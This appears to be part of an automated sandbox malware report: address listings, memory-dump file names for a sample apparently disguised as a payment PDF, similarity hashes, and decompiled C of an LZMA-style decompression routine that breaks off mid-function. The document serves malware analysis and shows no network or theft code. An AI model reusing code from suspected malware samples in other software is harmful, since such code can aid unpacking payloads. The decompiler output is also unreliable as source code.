0x00406c66
0x00407004
0x00000000
0x00407004
0x00406c6c
0x00406c6f
0x00406c72
0x00406c76
0x00406c79
0x00406c7f
0x00406c81
0x00406c81
0x00406c81
0x00406c84
0x00406c87
0x00000000
0x00000000
0x00406857
0x00406857
0x0040685b
0x00406fc8
0x00000000
0x00406fc8
0x00406861
0x00406864
0x00406867
0x0040686b
0x0040686e
0x00406874
0x00406876
0x00406876
0x00406876
0x00406879
0x0040687c
0x0040687c
0x0040687f
0x00406882
0x00000000
0x00000000
0x00406888
0x0040688e
0x00000000
0x00000000
0x00406894
0x00406894
0x00406898
0x0040689b
0x0040689e
0x004068a1
0x004068a4
0x004068a5
0x004068a8
0x004068aa
0x004068b0
0x004068b3
0x004068b6
0x004068b9
0x004068bc
0x004068bf
0x004068c2
0x004068de
0x004068e1
0x004068e4
0x004068e7
0x004068ee
0x004068f2
0x004068f4
0x004068f8
0x004068c4
0x004068c4
0x004068c8
0x004068d0
0x004068d5
0x004068d7
0x004068d9
0x004068d9
0x004068fb
0x00406902
0x00406905
0x00000000
0x0040690b
0x00000000
0x0040690b
0x00000000
0x00406910
0x00406910
0x00406914
0x00406fd4
0x00000000
0x00406fd4
0x0040691a
0x0040691d
0x00406920
0x00406924
0x00406927
0x0040692d
0x0040692f
0x0040692f
0x0040692f
0x00406932
0x00406935
0x00406935
0x00406935
0x0040693b
0x00000000
0x00000000
0x0040693d
0x00406940
0x00406943
0x00406946
0x00406949
0x0040694c
0x0040694f
0x00406952
0x00406955
0x00406958
0x0040695b
0x00406973
0x00406976
0x00406979
0x0040697c
0x0040697f
0x00406983
0x00406985
0x0040695d
0x0040695d
0x00406965
0x0040696a
0x0040696c
0x0040696e
0x0040696e
0x00406988
0x0040698f
0x00406992
0x00000000
0x00406994
0x00000000
0x00406994
0x00406992
0x00406999
0x00406999
0x00406999
0x00406999
0x00000000
0x00000000
0x004069d4
0x004069d4
0x004069d8
0x00406fe0
0x00000000
0x00406fe0
0x004069de
0x004069e1
0x004069e4
0x004069e8
0x004069eb
0x004069f1
0x004069f3
0x004069f3
0x004069f3
0x004069f6
0x004069f9
0x004069f9
0x004069ff
0x0040699d
0x0040699d
0x004069a0
0x00000000
0x004069a0
0x00406a01
0x00406a01
0x00406a04
0x00406a07
0x00406a0a
0x00406a0d
0x00406a10
0x00406a13
0x00406a16
0x00406a19
0x00406a1c
0x00406a1f
0x00406a37
0x00406a3a
0x00406a3d
0x00406a40
0x00406a43
0x00406a47
0x00406a49
0x00406a21
0x00406a21
0x00406a29
0x00406a2e
0x00406a30
0x00406a32
0x00406a32
0x00406a4c
0x00406a53
0x00406a56
0x00000000
0x00406a58
0x00000000
0x00406a58
0x00000000
0x00406ce5
0x00406ce5
0x00406ce9
0x00407010
0x00000000
0x00407010
0x00406cef
0x00406cf2
0x00406cf5
0x00406cf9
0x00406cfc
0x00406d02
0x00406d04
0x00406d04
0x00406d04
0x00406d07
0x00000000
0x00000000
0x00000000
0x00000000
0x00406df4
0x00406df8
0x00406e1a
0x00406e1d
0x00406e27
0x00000000
0x00406e27
0x00406dfa
0x00406dfd
0x00406e01
0x00406e04
0x00406e04
0x00406e07
0x00000000
0x00000000
0x00406eb1
0x00406eb5
0x00406ed3
0x00406ed3
0x00406ed3
0x00406eda
0x00406ee1
0x00406ee8
0x00406ee8
0x00000000
0x00406ee8
0x00406eb7
0x00406eba
0x00406ebd
0x00406ec0
0x00406ec7
0x00406e0b
0x00406e0b
0x00406e0e
0x00000000
0x00000000
0x00406fa2
0x00406fa5
0x00000000
0x00000000
0x00406bdc
0x00406bde
0x00406be5
0x00406be6
0x00406be8
0x00406beb
0x00000000
0x00000000
0x00406bf3
0x00406bf6
0x00406bf9
0x00406bfb
0x00406bfd
0x00406bfd
0x00406bfe
0x00406c01
0x00406c08
0x00406c0b
0x00406c19
0x00000000
0x00000000
0x00406eef
0x00406eef
0x00406ef2
0x00406ef9
0x00000000
0x00000000
0x00406efe
0x00406efe
0x00406f02
0x0040703a
0x00000000
0x0040703a
0x00406f08
0x00406f0b
0x00406f0e
0x00406f12
0x00406f15
0x00406f1b
0x00406f1d
0x00406f1d
0x00406f1d
0x00406f20
0x00406f23
0x00406f23
0x00406f23
0x00406f23
0x00406f26
0x00406f26
0x00406f2a
0x00406f8a
0x00406f8d
0x00406f92
0x00406f93
0x00406f95
0x00406f97
0x00406f9a
0x00000000
0x00406f9a
0x00406f2c
0x00406f32
0x00406f35
0x00406f38
0x00406f3b
0x00406f3e
0x00406f41
0x00406f44
0x00406f47
0x00406f4a
0x00406f4d
0x00406f66
0x00406f69
0x00406f6c
0x00406f6f
0x00406f73
0x00406f75
0x00406f75
0x00406f76
0x00406f79
0x00406f4f
0x00406f4f
0x00406f57
0x00406f5c
0x00406f5e
0x00406f61
0x00406f61
0x00406f7c
0x00406f83
0x00000000
0x00406f85
0x00000000
0x00406f85
0x00000000
0x00406c21
0x00406c24
0x00406c5a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8d
0x00406d8d
0x00406d90
0x00406d92
0x0040701c
0x00000000
0x0040701c
0x00406d98
0x00406d9b
0x00000000
0x00000000
0x00406da1
0x00406da5
0x00406da8
0x00406da8
0x00406da8
0x00000000
0x00406da8
0x00406c26
0x00406c28
0x00406c2a
0x00406c2c
0x00406c2f
0x00406c30
0x00406c32
0x00406c34
0x00406c37
0x00406c3a
0x00406c50
0x00406c55
0x00406c8d
0x00406c8d
0x00406c91
0x00406cbd
0x00406cbf
0x00406cc6
0x00406cc9
0x00406ccc
0x00406ccc
0x00406cd1
0x00406cd1
0x00406cd3
0x00406cd6
0x00406cdd
0x00406ce0
0x00406d0d
0x00406d0d
0x00406d10
0x00406d13
0x00406d87
0x00406d87
0x00406d87
0x00000000
0x00406d87
0x00406d15
0x00406d1b
0x00406d1e
0x00406d21
0x00406d24
0x00406d27
0x00406d2a
0x00406d2d
0x00406d30
0x00406d33
0x00406d36
0x00406d4f
0x00406d51
0x00406d54
0x00406d55
0x00406d58
0x00406d5a
0x00406d5d
0x00406d5f
0x00406d61
0x00406d64
0x00406d66
0x00406d69
0x00406d6d
0x00406d6f
0x00406d6f
0x00406d70
0x00406d73
0x00406d76
0x00406d38
0x00406d38
0x00406d40
0x00406d45
0x00406d47
0x00406d4a
0x00406d4a
0x00406d79
0x00406d80
0x00406d0a
0x00406d0a
0x00406d0a
0x00406d0a
0x00000000
0x00406d82
0x00000000
0x00406d82
0x00406d80
0x00406c93
0x00406c96
0x00406c98
0x00406c9b
0x00406c9e
0x00406ca1
0x00406ca3
0x00406ca6
0x00406ca9
0x00406ca9
0x00406cac
0x00406cac
0x00406caf
0x00406cb6
0x00406c8a
0x00406c8a
0x00406c8a
0x00406c8a
0x00000000
0x00406cb8
0x00000000
0x00406cb8
0x00406cb6
0x00406c3c
0x00406c3f
0x00406c41
0x00406c44
0x00000000
0x00000000
0x004069a3
0x004069a3
0x004069a7
0x00406fec
0x00000000
0x00406fec
0x004069ad
0x004069b0
0x004069b3
0x004069b6
0x004069b9
0x004069bc
0x004069bf
0x004069c1
0x004069c4
0x004069c7
0x004069ca
0x004069cc
0x004069cc
0x004069cc
0x00000000
0x00000000
0x00000000
0x00000000
0x00406dab
0x00406dab
0x00406dab
0x00406daf
0x00000000
0x00000000
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dc0
0x00406dc0
0x00406dc0
0x00406dc3
0x00406dc6
0x00406dc9
0x00406dcc
0x00406dcf
0x00406dd2
0x00406dd3
0x00406dd5
0x00406dd5
0x00406dd5
0x00406dd8
0x00406ddb
0x00406dde
0x00406de1
0x00406de4
0x00406de8
0x00406dea
0x00406ded
0x00000000
0x00406def
0x00000000
0x00406def
0x00406ded
0x00407022
0x00000000
0x00000000
0x00406651

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79859cd80aa4a68261cc067353b3b3a3bb11021b997dedf9f01a815f4beecf4f
Instruction ID: e43b34c51a548f07c4fb140720fe79cc87a03685924cd857d2d075badb14d917
Opcode Fuzzy Hash: 79859cd80aa4a68261cc067353b3b3a3bb11021b997dedf9f01a815f4beecf4f
Instruction Fuzzy Hash: 2F815371D04229CBDF24CFA8C8847ADBBB1FB44305F25816AD456BB281C738AA96DF05

Uniqueness

Uniqueness Score: -1.00%

Function 0040660F Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040660F(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M00407061))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push("true");
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8); // executed
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12); // executed
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									__ebx = __edx + 1;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__ebx = __edx + 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push("true");
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
